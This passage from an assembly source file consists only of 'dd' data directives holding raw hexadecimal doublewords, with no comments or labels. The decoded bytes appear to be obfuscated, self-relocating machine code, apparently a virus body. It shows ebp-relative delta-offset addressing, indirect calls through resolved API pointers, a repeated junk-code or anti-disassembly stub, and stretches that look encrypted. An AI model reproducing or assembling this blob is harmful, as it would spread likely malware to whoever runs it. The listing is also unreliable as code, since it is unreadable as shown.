0D78B6606h, 880FD0FFh, 3, 89C88B66h, 32E8985h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 49B96649h, 0A185C692h, 4706031Bh, 800Fh, 0F3680000h dd 8983D0B5h, 315D985h, 75D98106h, 0FF6C220Ah, 302E1B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 2A34D4C0h, 3F98405Eh, 8D3CB1E2h, 338E085h dd 0D0FFF906h, 89F88B66h, 3238585h, 28F0F06h, 0B2000000h dd 0ED958B31h, 0C606032Ch, 31BA185h, 85897706h, 6033061h dd 97A8A368h, 810F51F3h, 3, 5FCBBF0Fh, 3121B5FFh, 6A0603h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 2AE580C3h, 4B6CE605h, 2820Fh, 0FE8B0000h, 579BD23h dd 858D0603h, 60338E0h, 9E9h, 863B2300h, 5F6EB957h, 0D0FF326Ch dd 25E18589h, 0E9600603h, 0Dh, 7438F5E8h, 0F82DCF41h, 0B9C6DD09h dd 10E82Fh, 30700000h, 8E9E2BA4h, 6203801h, 0DF051D08h dd 958B6C8Bh, 60321B5h, 85C66159h, 6031BA1h, 57006A47h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0FE1C98Ah, 68Ah, 41953300h, 6806030Fh, 8728FAF6h, 8FCAABAh dd 952B535Bh, 6030075h, 0E1B5FF5Ah, 23060302h, 318A5BDh dd 0E0858D06h, 0F060338h, 38Ch, 0CFBF0F00h, 8589D0FFh dd 6032F1Dh, 0DBB70F60h, 0EE8h, 4A52D100h, 855D9970h, 28B97940h dd 8B4CFA02h, 321FDB5h, 0C6615906h, 31BA185h, 0E88A4306h dd 0EFA4DA81h, 0FC684317h, 89BC8E6Eh, 31A5DBDh, 0E1B5FF06h dd 81060302h, 1B1F2AF1h, 0E0858D65h, 8B060338h, 0E9D0FFD0h dd 7, 29C14BBh, 89DA63E6h, 3038D85h, 13E806h, 87380000h dd 0A7FF3D96h, 220DFDCBh, 78B58020h, 8AB0140Fh, 5BC2814Dh dd 5A5E78B7h, 1BA185C6h, 89450603h, 31D299Dh, 69696806h dd 0BF668E72h, 0B5FF5DC1h, 60302E1h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0ECC35141h, 858DF39Fh, 60338E0h dd 38B0Fh, 0DA800000h, 66D0FF9Eh, 89C77BBFh, 3077985h dd 5FB96606h, 0A185C634h, 4406031Bh, 264D9D89h, 64680603h dd 0B6B8F2ECh, 0E1B5FF86h, 6A060302h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 5201C351h dd 0A886A21Ah, 89DD4E9Bh, 30491B5h, 0E0858D06h, 60060338h dd 2149B531h, 9D030603h, 6030421h, 89D0FF61h, 30865BDh dd 25858906h, 1060304h, 32F9DBDh, 0A185C606h, 4306031Bh dd 1B21B529h, 0A7680603h, 0FFC0764Ah, 302E1B5h, 25E18006h dd 38E0858Dh, 0B5890603h, 60325F5h, 0C181D0FFh, 1EDDE2C1h dd 0C958589h, 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0C60849C3h, 147DBD8Bh, 0BD800603h dd 60602D0h, 8C840F00h, 66000000h, 5FB4F181h, 2B2858Dh dd 50F50606h, 2A0DB589h, 16A0603h, 0FFB48CBAh, 6A006A05h dd 0F2816600h, 95FFE93Ah, 603183Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 24C35040h, 97E92DE6h, 0DF7FBC4Bh dd 4D99D01h, 85890603h, 6031FC1h, 6AC8BF0Fh, 0B1BD01FFh dd 0FF06030Ah, 31FC1B5h, 0DD8D8B06h, 0FF06030Fh, 31B4D95h dd 11E906h, 0A3C70000h, 0E93BDCE2h, 0F9EA2305h, 5BF2861Ch dd 8B35E023h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 4F8F8299h, 0EE9FCDDh, 0A5000000h dd 73A7B781h, 2D06AFCFh, 0DF13CA89h, 0E5BD8349h, 60304h dd 0BD830975h, 6032339h, 50197400h, 0B8C08B53h, 7D1h, 1A9D8589h dd 9D8D0603h, 605B5BFh, 585BD3FFh, 2339BD83h, 74000603h dd 0B8535017h, 7D1h, 1A9D8589h, 9D8D0603h, 605B2AEh, 585BD3FFh dd 6AB3B2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0FB6AAC3h, 0C08BFEB7h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0C7C35040h, 5A524181h, 6E8h dd 924AA400h, 0FD8053Ch, 605AD1B7h, 5A73B052h, 162D8501h dd 0C6610603h, 31BA185h, 6A4706h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0B310A1C3h, 0C168D73Fh dd 5193C8F7h, 0CB8B6660h, 0FF5A61F9h, 302E1B5h, 0A5BD8B06h dd 8D060306h, 338E085h, 63B96606h dd 0F8BF0FAEh, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 77655EC3h, 2AC01EC3h, 66E97552h dd 8857EA81h, 0FC28E781h, 0F5504700h, 6F3858Dh, 800F0606h dd 2, 0C7CA8Ah, 94h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0A1C35343h, 0B815EEF1h, 0F36FF46h, 9589D0B7h dd 6031E4Dh, 0F3B58D58h, 9060606h, 304C595h, 8D8B5606h dd 6031B75h, 0DD80D0FFh, 68F0F53h, 89000000h, 32D79BDh dd 0F3858D06h, 50060606h, 0DE9h, 5FF0FE00h, 1BFAF7Eh, 41FE5BFFh dd 835A7431h, 0F060478h, 1585h, 64BA6600h, 8785C780h, 1060607h dd 89000000h, 32E31BDh, 0BD83FC06h, 6030B89h, 58850F00h dd 0B9000000h, 57416AF7h, 787BD83h, 0F000606h, 4685h, 0ADBD8300h dd 60306h, 39840Fh, 0B5890000h, 603191Dh, 58985C7h, 603h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 89BD5EC3h, 7DD5FB3Ah, 49BD8B95h, 66060321h dd 958BDB8Ch, 6031B09h, 0F04C3F6h, 5CA84h, 8AF6B100h, 8985C7D0h dd 6031Dh, 89000000h, 30A71BDh, 0DDBD8006h, 60602h, 19850Fh dd 11E80000h, 0CA000000h, 0BF395B8h, 1299DFE3h, 0E5690D7Ah dd 13657289h, 0C659CE8Bh, 31BA185h, 68FC4706h, 0E3E45B86h dd 9899589h, 0B5FF0603h, 60302E1h, 45B58B60h, 80060318h dd 0F5611FEFh, 38E0858Dh, 13E90603h, 4C000000h, 4C070C2Fh dd 0ECFAA286h, 7EFCA3C9h, 0D7ABEDAEh, 0D0FFCED2h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 39C35242h, 6CC8F5F8h dd 0E8605EE5h, 12h, 0C217E15Eh, 0ADF5D794h, 0C6F53628h dd 4BBD0001h, 8D0F4DA2h, 0 dd 8E0F5Ah, 61000000h, 0DE8h, 0E397F100h, 0CF53730Bh, 4AC9050Fh dd 9D893785h, 603098Dh, 104685Ah, 0DE80000h, 2B000000h dd 0BA805F72h, 0CFBB5B6Ah, 386A9907h, 2E79958Bh, 8D5F0603h dd 32AF19Dh, 0E19D3106h, 5306031Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0E5C35646h, 6F01CFh, 0BB1D4EDBh dd 0F18D8979h, 0BA06032Eh, 7660DB0Bh, 13E8D0FFh, 21000000h dd 9908A23Ch, 7401305h, 13042660h, 0CAFFEA51h, 8D8BC989h dd 60320D9h, 0F1858D5Ah, 0F06032Ah, 8Ah, 0B5895000h, 6030E1Dh dd 28F858Dh, 0FFC0606h, 8Fh, 8E0F5000h, 0Dh, 860F60h, 0BF000000h dd 410102Eh, 62858D61h, 660605F9h, 0F850CA8Bh, 25E195FFh dd 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 0BAE013C3h, 1962B5BBh, 6A0CC483h, 806800h dd 36A0000h, 6A006Ah, 68h, 62858D80h, 500605F9h, 38D95FFh dd 85890603h, 6060272h, 1BA185C6h, 68470603h, 0C7B15E87h dd 2E1B5FFh, 858D0603h, 60338E0h, 6AD0FFh, 272B5FFh, 0D0FF0606h dd 2E2D8D33h, 8B0F0603h, 2, 0D03DF98Bh, 0F000037h, 5283h dd 72B5FF00h, 66060602h, 8927E981h, 0C9595FFh, 6A0603h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 24F2EC3h, 66BA6667h, 0FE932h, 391C0000h, 26119E84h dd 4EEEE8BBh, 8553517Ah, 0FEE9A6h, 7BBF0000h, 0FF284FA5h dd 60272B5h, 11E85306h, 0EF000000h, 805189A2h, 3FAD42BCh dd 540B26E1h, 8877C407h, 5F5FD08Bh, 0C9595FFh, 66500603h dd 5A9A36BFh, 8D31006Ah, 60315B1h, 9589006Ah, 6032D51h dd 0B966006Ah, 6A1B60h, 6B18D89h, 6A0603h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5AC35242h, 3AA3DFEDh dd 8B6666FDh, 0E18509CAh, 6A060318h, 0BD896000h, 60316ADh dd 76858D61h, 0F8060602h, 0B58D2B50h, 0FF060317h, 3038D95h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 4136CC6Dh, 81C3A0B9h, 68DCE2CAh, 85895130h dd 6030E85h, 0FFF8835Ah, 145850Fh, 81600000h, 0E9B802F0h dd 8E0F601Bh, 0 dd 14E8h, 89226C00h, 0F224B2D1h, 0BCBA7AA1h, 4FA7035Ch dd 0CCA67A85h, 61615821h, 0BE02858Dh, 5DBA0605h, 0F5A7401h dd 0D0FFFEBFh, 1BA006Ah, 6A630FF1h, 0E810F00h, 60000000h dd 24D98D29h, 8A0F0603h, 0 dd 8B006A61h, 318F1BDh, 0F006A06h, 182h, 6AF900h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 47C35747h, 5E569F69h dd 0A810F60h, 0E9000000h, 5, 70E691DCh, 6A6125h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0FEC35747h, 509D0A59h dd 8DE23AA6h, 4208BA92h, 858935E1h, 6032539h, 276858Dh dd 0DB10606h, 0E18D8B50h, 0FF060323h, 3038D95h, 70E18106h dd 833B8782h, 850FFFF8h, 53h, 48A0Fh, 0BA660000h, 0B58D3D17h dd 605FC7Eh, 858DFB8Bh, 605A758h, 0BD8BD0FFh, 6030B95h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 0A85DFAC3h, 9BDDFC58h, 0FF44656Dh, 3077995h dd 0E19D0906h, 8906032Ch, 6027285h, 8BE78106h, 6620400Dh dd 6AA490BFh, 858DFC00h, 606026Ah, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 94C35343h, 800FC248h, 6A5011D6h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0DF6FC350h, 0AA1C3DB5h, 49958B25h, 6A060323h dd 9E904h, 0EB080000h, 0A9E7FE09h, 8D2C3A90h, 31C9985h dd 7E906h, 29840000h, 3A045F96h, 95895028h, 6030449h, 8D0F006Ah dd 16h, 0BE8h, 10BF3800h, 85192A01h, 0A880FDC4h, 0B3C98166h dd 6A5F54h, 89CF8B66h, 32F3985h, 29016A06h, 30DED85h, 858D8906h dd 0FF06031Dh, 60272B5h, 8D958B06h, 0E9060323h, 0Dh, 8883B083h dd 0B2D23303h, 0AD6ED727h, 2595FF93h, 6A060304h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 4707C356h, 9A45EE6h, 0BD8B5BC1h, 603098Dh, 1AC4E9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0E6D7A72h, 0DBD29A0h, 8B06031Ch, 0D18D8BC0h dd 8306032Eh, 304E5BDh, 9750006h, 2339BD83h, 74000603h dd 8B535019h, 7D2B8C0h, 85890000h, 6031A9Dh, 0B5BF9D8Dh dd 0D3FF0605h, 0BD83585Bh, 6032339h, 50177400h, 7D2B853h dd 85890000h, 6031A9Dh, 0B2AE9D8Dh, 0D3FF0605h, 0C280585Bh dd 6850F12h, 89000000h, 316D5BDh, 0FC08B06h, 85C7C9B7h dd 6031D89h, 1, 68FB8B66h, 0CEE4E7B8h, 1F9DB5FFh, 858D0603h dd 60338E0h, 8589D0FFh, 6032099h, 5DBD468h, 9DB5FFC0h dd 8D06031Fh, 338E085h, 89D0FF06h, 30EB585h, 1B858D06h dd 500605F7h, 2E1B5FFh, 95FF0603h, 6032E89h, 0B74C00Bh dd 858DD88Bh, 60606CEh, 8DD3FF50h, 606CE85h, 38836606h dd 0C70A7509h, 3207D85h, 106h, 1D95FF00h, 2506032Fh, 0FFh dd 7305F883h, 0D185C70Ah, 1060326h, 0F000000h, 8Bh, 0ACE58000h dd 2DDBD80h, 0F000606h, 1085h, 0E9D18B00h, 1989h, 8D89FC60h dd 603046Dh, 7DBD8361h, 60320h, 0F5850Fh, 8D0F0000h, 0 dd 2A7858Dh, 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 5E1235C3h, 58909738h, 1508CD4h dd 31B29B5h, 6A016A06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 8AE1C350h, 0B5BF1E44h dd 6A61F119h, 0C58D8900h, 6A060320h, 35BD8900h, 0FF06031Bh dd 3183D95h, 0FEB70F06h, 2D18589h, 6A0606h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 2A9497C3h dd 12E9h, 1DDE9300h, 0B652650Bh, 34B2C1CEh, 0CCEC4FB8h dd 6AA98C07h, 8DBD03FFh, 0FF06031Bh, 602D1B5h, 0A1B58906h dd 8B060326h, 303498Dh, 4D95FF06h, 6A06031Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 7EE1C357h, 8166B7B9h, 8D584EE9h, 5F6E285h, 4D8D2B06h dd 5006032Fh, 58DEC981h, 95FF08B0h, 603224Dh, 1D29B531h dd 9D890603h, 6031A25h, 0F76C8589h, 89570605h, 319C98Dh dd 8D0B5F06h, 60304EDh, 0F6EF858Dh, 30BF0605h, 501C0D2Ah dd 0B5FF6EB6h, 605F76Ch, 8995FFF8h, 6606032Eh, 177EDA81h dd 0E298589h, 0BD8B0603h, 6031E35h, 88BA6657h, 858D5A60h dd 605F75Dh, 8810Fh, 0F520000h, 8Dh, 0F8505F00h, 0F76CB5FFh dd 0BD890605h, 6030451h, 2E8995FFh, 0BA660603h, 8D29A97Bh dd 6031D75h, 0F7808589h, 7E90605h, 2000000h, 38684EACh dd 858D9571h, 605F73Ch, 50F8BF0Fh, 24DD9509h, 0B5FF0603h dd 605F76Ch, 2929BD8Bh, 95FF0603h, 6032E89h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 78C35747h, 223D9D89h dd 81660603h, 89F40BC2h, 5F77885h, 8E906h, 0FAC30000h dd 95EE7123h, 858DE949h, 605F72Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 2CC35040h, 91C555AAh, 0DA8166ADh dd 56579139h, 16D5958Bh, 5F5F0603h, 0CF816650h, 0B5FF1A4Fh dd 605F76Ch, 2E8995FFh, 13E90603h, 1D000000h, 69247F1Bh dd 36AA0F6Eh, 0A5112F47h, 202D6759h, 85898AE5h, 605F77Ch dd 8D3AE180h, 5F74A85h, 0BD896006h, 6031DE5h, 4AB95061h dd 0FF4372BDh, 5F76CB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0E6C2A9F9h, 0A139F3A3h dd 95FFDF77h, 6032E89h, 12E9h, 7B9A1C00h, 314BDA47h, 125C9D5Eh dd 0ED373EDFh, 319C7E7Ah, 3291D9Dh, 0C9858906h, 89060324h dd 32D6D85h, 0FE858D06h, 10605F6h, 308EDB5h, 6A5006h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 369AF9C3h, 70F1ABF7h, 0BD0396C6h, 6031F8Dh, 0F76CB5FFh dd 6A0605h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0C06716C3h, 29B529DDh, 0FF060316h, 32E8995h dd 3480BF06h, 8D0B3B73h, 6032059h, 0F7708589h, 83B50605h dd 2431BD29h, 858D0603h, 605F70Dh, 12E9h, 767E1400h, 31281E1Bh dd 11A7459Dh, 29EAB36Dh, 502332CCh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 19C35545h, 0F0A7AE98h, 0E18166AEh dd 0B5FFD18Ah, 605F76Ch, 95FF92B6h, 6032E89h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 8DC35242h, 0AD062F26h dd 7B6CF6FBh, 9E8h, 655B5C00h, 0BBDA97A2h, 895AE62Ch, 5F77485h dd 1046806h, 53BA0000h, 8D6F7AC3h, 5F80485h, 0B1B58906h dd 50060315h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0CC35242h, 0CA44C63Eh, 0D981EE8Ah, 3A68AC27h, 0F908858Dh dd 8B560605h, 31D3595h, 0F505906h, 687h, 90E78100h, 0FF68D755h dd 3238595h, 358D3106h, 85060304h, 6850FC0h, 60000000h dd 0FA8BCB8Bh, 0DDBD8061h, 60602h, 19850Fh, 860F0000h dd 6, 0F559D89h, 8D8B0603h, 603006Dh, 14F8E9h, 83F9F900h dd 3207DBDh, 850F0006h, 31h, 83CEB70Fh, 60787BDh, 840F0006h dd 5Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h dd 4AC35747h, 9026A47Dh, 0A1858D31h, 230605F7h, 30FC595h dd 14A7E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0F160E8C3h, 12E9FC9Fh, 89000000h dd 3166DB5h, 8C858D06h, 890605F7h, 330F19Dh, 0DE95006h dd 7D000000h, 0ABF9B3EAh, 77873FE3h, 0C1997C75h, 0F804858Dh dd 9D890605h, 6031FA9h, 50D6BF0Fh, 1D999D29h, 0BD830603h dd 603207Dh, 84840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0B9F8C353h dd 14E98359h, 83000000h, 0C5886559h, 0A4430456h, 5CFA729Ch dd 43F9DB61h, 8D0DE08Bh, 5F92A85h, 0ADBD8906h, 0F060318h dd 68Eh, 19958900h, 0E906030Fh, 3Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 95C35040h, 0CC864EE2h, 89941881h dd 32DA995h, 58D8906h, 8D060317h, 5F91385h, 59BD0B06h dd 50060300h, 8DF98B66h, 5F96285h, 48C0F06h, 66000000h dd 50D617B9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0E1C35646h, 0E9B589DCh, 8B060326h, 0E195FFC8h dd 81060325h, 3888CCCAh, 10C4836Fh, 22B98D8Bh, 0C08B0603h dd 0BD83ACB1h, 60304E5h, 83097500h, 32339BDh, 19740006h dd 0C08B5350h, 7D3B8h, 9D858900h, 8D06031Ah, 5B5BF9Dh dd 5BD3FF06h, 39BD8358h, 60323h, 53501774h, 7D3B8h, 9D858900h dd 8D06031Ah, 5B2AE9Dh, 5BD3FF06h, 39858958h, 31060330h dd 30C11BDh, 3E11B906h, 0C08B1AB6h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 0B7C35343h, 2679BD8Bh, 0BD810603h dd 605F78Ch, 6165726Fh, 0AB840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0E991C9C3h dd 9589A203h, 6032479h, 0F804858Dh, 8D500605h, 5F94185h dd 858D5006h, 605F962h, 0E195FF50h, 83060325h, 85C60CC4h dd 6031BA1h, 184F6844h, 0B5FF96A3h, 60302E1h, 38E0858Dh dd 0D0FF0603h, 858DD88Bh, 605F962h, 8DD3FF50h, 5F78C85h dd 858D5006h, 605F804h, 7DBD8350h, 60320h, 858D0874h, 605F92Ah dd 858D06EBh, 605F913h, 62858D50h, 500605F9h, 25E195FFh dd 0C4830603h, 6BD18110h, 89732B67h, 320699Dh, 1D95FF06h dd 6006032Fh, 2E758D8Bh, 8E90603h, 2F000000h, 0D5B88AADh dd 61EB0D9Ch, 0FF25h, 24A9B900h, 0F883418Eh, 2C830F05h dd 57000000h, 5EEB966h, 0D185C75Ah, 1060326h, 0B9000000h dd 48ABC33h, 0F7C0858Dh, 8D8B0605h, 6030A5Dh, 4DE9h, 99F28100h dd 8309209Fh, 3207DBDh, 840F0006h, 2Ch, 12E9h, 0AEE44C00h dd 204B0B7Bh, 0ECCC0393h, 73609ADBh, 8DB8E316h, 5F7EB85h dd 0E9C88B06h, 16h, 0B529B7B1h, 60302B5h, 0F7CD858Dh, 95890605h dd 60322DDh, 8589FE8Bh, 605F800h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 8BC35646h, 0FFFD5D81h dd 8D012367h, 603265Dh, 207DBD83h, 0F000603h, 4485h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0A58D8BEDh, 83060309h, 60787BDh, 840F0006h, 20h, 6890Fh dd 0BD290000h, 60321B1h, 3830Fh, 0CA800000h, 10F7E91Bh dd 0BD890000h, 6030C91h, 43DE9h, 0FA8B6600h, 8D8BC08Bh dd 6031461h, 4E5BD83h, 75000603h, 39BD8309h, 60323h, 53501974h dd 0D4B8C08Bh, 89000007h, 31A9D85h, 0BF9D8D06h, 0FF0605B5h dd 83585BD3h, 32339BDh, 17740006h, 0D4B85350h, 89000007h dd 31A9D85h, 0AE9D8D06h, 0FF0605B2h, 6A585BD3h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 1721C357h, 3BD05F02h, 130D8D8Bh, 6A0603h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 87F036C3h dd 89F87C1Eh, 32E85B5h, 0F7816606h, 0C08B68C6h, 0B19BD8Bh dd 0D18A0603h, 0F003F68h, 0E7816600h, 6AC017h, 68F0F56h dd 9000000h, 31B798Dh, 6A5F06h, 1A519D89h, 95FF0603h, 6030E29h dd 0EA816656h, 855AD276h, 3850FC0h, 0F000000h, 8589FEB7h dd 605F784h, 7D8D8Bh, 6A0603h, 1CFD9589h, 14E80603h, 13000000h dd 0AB336A42h, 8ED68EADh, 0D880CDC9h, 408BE317h, 8BAA044Fh dd 31D35BDh, 6A5906h, 7E9h, 6DA2AB00h, 0F032F306h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 4F576CC3h, 0F7B62DB5h, 0B529232Bh, 6030AB9h, 0BD8B006Ah dd 6030B09h, 858D006Ah, 605F962h, 0C9EF8166h, 0E5958B89h dd 5006030Fh, 16A85B5h, 859BD09h, 16A0603h, 2EB1BD29h dd 16A0603h, 48F0Fh, 0B9660000h, 0FF68B481h, 31000F01h dd 32D598Dh, 7DBD8306h, 60320h, 2D840Fh, 8D890000h, 6030C25h dd 0F7E1858Dh, 0DE90605h, 47000000h, 0DF63C181h, 0D9512019h dd 3F8D91A5h, 12E9h, 5E900h, 1E200000h, 8D0F8747h, 5F7B785h dd 50FE8B06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 3AC35040h, 0B6C89F3Bh, 0CF8B6664h, 1853150h, 56060303h dd 0E9BA6656h, 0FF595ADDh, 5F784B5h, 25958B06h, 0FF06031Eh dd 5F77095h, 0FE8B6606h, 850FC085h, 30h, 7E9h, 92313700h dd 0E6C739F1h, 8BE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 10D2804Ah, 0F7888589h dd 97B50605h, 0F788B5FFh, 6A0605h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 18F866C3h, 8B338215h dd 0C995FFD1h, 6A060324h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0A510C355h, 9589DD92h dd 6032ADDh, 8E5BD33h, 0C0850603h, 2850Fh, 0C8B10000h dd 0F281106Ah, 24BEFF86h, 0BE8h, 0F5105300h, 8E779A70h dd 808F0D98h, 0EBFDBF66h, 7DBD8359h, 60320h, 2B840Fh, 0FE90000h dd 0BF000000h, 2904E432h, 0E9730916h, 0A483ACEDh, 858D15DCh dd 605F7E1h, 2069958Bh, 0CE90603h, 81000000h, 0F17931F1h dd 0B7858D49h, 500605F7h, 0DE9h, 0A72ACF00h, 2A763F0Ch dd 0E02E8848h, 8B66A956h, 84B5FFFEh, 6A0605F7h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 8973C352h, 309019Dh, 7C95FF06h, 6A0605F7h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 77EBC352h, 67BAE7F9h, 8B17F674h, 31BE195h, 0FC08506h dd 85h, 88858900h, 0B10605F7h, 0B2006A96h, 8B006A18h, 88B5FFF9h dd 6A0605F7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 40E9C357h, 0FAD6127Dh, 958956F8h dd 60330DDh, 58E0F59h, 0BF000000h, 0C156F57h, 0F77495FFh dd 8B660605h, 0F18589F9h, 8506030Dh, 1850FC0h, 0FC000000h dd 0F788B5FFh, 8D290605h, 6032CE1h, 24C995FFh, 0BD890603h dd 603058Dh, 11E9h, 46853300h, 0C03821E2h, 5D704EC4h, 2796B96h dd 0C08593E1h, 4850Fh, 0B9660000h, 6A03ECh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 72C35242h, 0E26B01B3h dd 165DC54h, 316FD9Dh, 806806h, 0BD010000h, 60306B9h, 810F036Ah dd 6, 1B619589h, 6A0603h, 6AF9BF0Fh, 0A0FBB900h, 6832A5h dd 89C00000h, 318B99Dh, 0B5FF06h, 8B0605F8h, 3049195h dd 8D95FF06h, 8B060303h, 303598Dh, 0FFF88306h, 59C850Fh dd 0B9660000h, 85FFC20Bh, 606026Eh, 29B98D29h, 8D8B0603h dd 6030909h, 26EBD83h, 0F020606h, 46D84h, 9BD8900h, 0BA06030Bh dd 3D432E6Eh, 0F59F858Dh, 0BD2B005Ah, 6031F01h, 8BD0FFFCh dd 30ACD95h, 0F2858D06h, 8B005AEFh, 6AD0FFD1h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 8979C356h, 307D58Dh, 0FC08B06h, 68Eh, 0DD950B00h, 83060302h dd 304E5BDh, 9750006h, 2339BD83h, 74000603h, 8B535019h dd 7D8B8C0h, 85890000h, 6031A9Dh, 0B5BF9D8Dh, 0D3FF0605h dd 0BD83585Bh, 6032339h, 50177400h, 7D8B853h, 85890000h dd 6031A9Dh, 0B2AE9D8Dh, 0D3FF0605h, 0E856585Bh, 10h, 3F1D6A4Ch dd 0DBBB0791h, 3AFD267Bh, 0C3B96297h, 8A5A5FF8h, 57006ACBh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 2D9A06C2h, 3F68C08Bh, 6A000F00h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 9A37C356h dd 46642E44h, 6AA8E3h, 990026BAh, 8D9D8941h, 6A06030Bh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0CB1E7C84h, 0BD35411Ah, 9D8932AEh, 60304B5h dd 0E2995FFh, 0BA660603h, 0D281CDD9h, 0E115818h, 6BB6C085h dd 0F7848589h, 81560605h, 7D4820F7h, 0FF685F4Fh, 6A000F01h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 5B5AC356h, 0DEC721CBh, 9D8D01E9h, 83060316h dd 3207DBDh, 840F0006h, 1Ch, 5BBF6652h, 858D5FA9h, 605F7E1h dd 7DBD8B60h, 61060315h, 0EE9h, 64C98000h, 0F7B7858Dh dd 81660605h, 507932EFh, 8C0Fh, 0B5FF0000h, 605F784h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B3C35242h, 2D3E9505h dd 8D896831h, 60304BDh, 0F77C95FFh, 958B0605h, 60324EDh dd 0F7888589h, 6A0605h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0E95D69C3h, 0Fh, 0F760A78h, 16695CC2h dd 90FD5449h, 9C7382Eh, 31F8DBDh, 5985C706h, 6032Ch, 0F000000h dd 68Fh, 0D9958B00h, 83060308h, 5F788BDh, 840F0006h, 1F8h dd 6810Fh, 958B0000h, 6031BD5h, 0FA66858Dh, 0BD8B0605h dd 6031BD9h, 1D958950h, 6A060319h, 57006A01h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h dd 6630F785h, 0FFE2F0BFh, 5F788B5h, 0B5BD8B06h, 0FF060325h 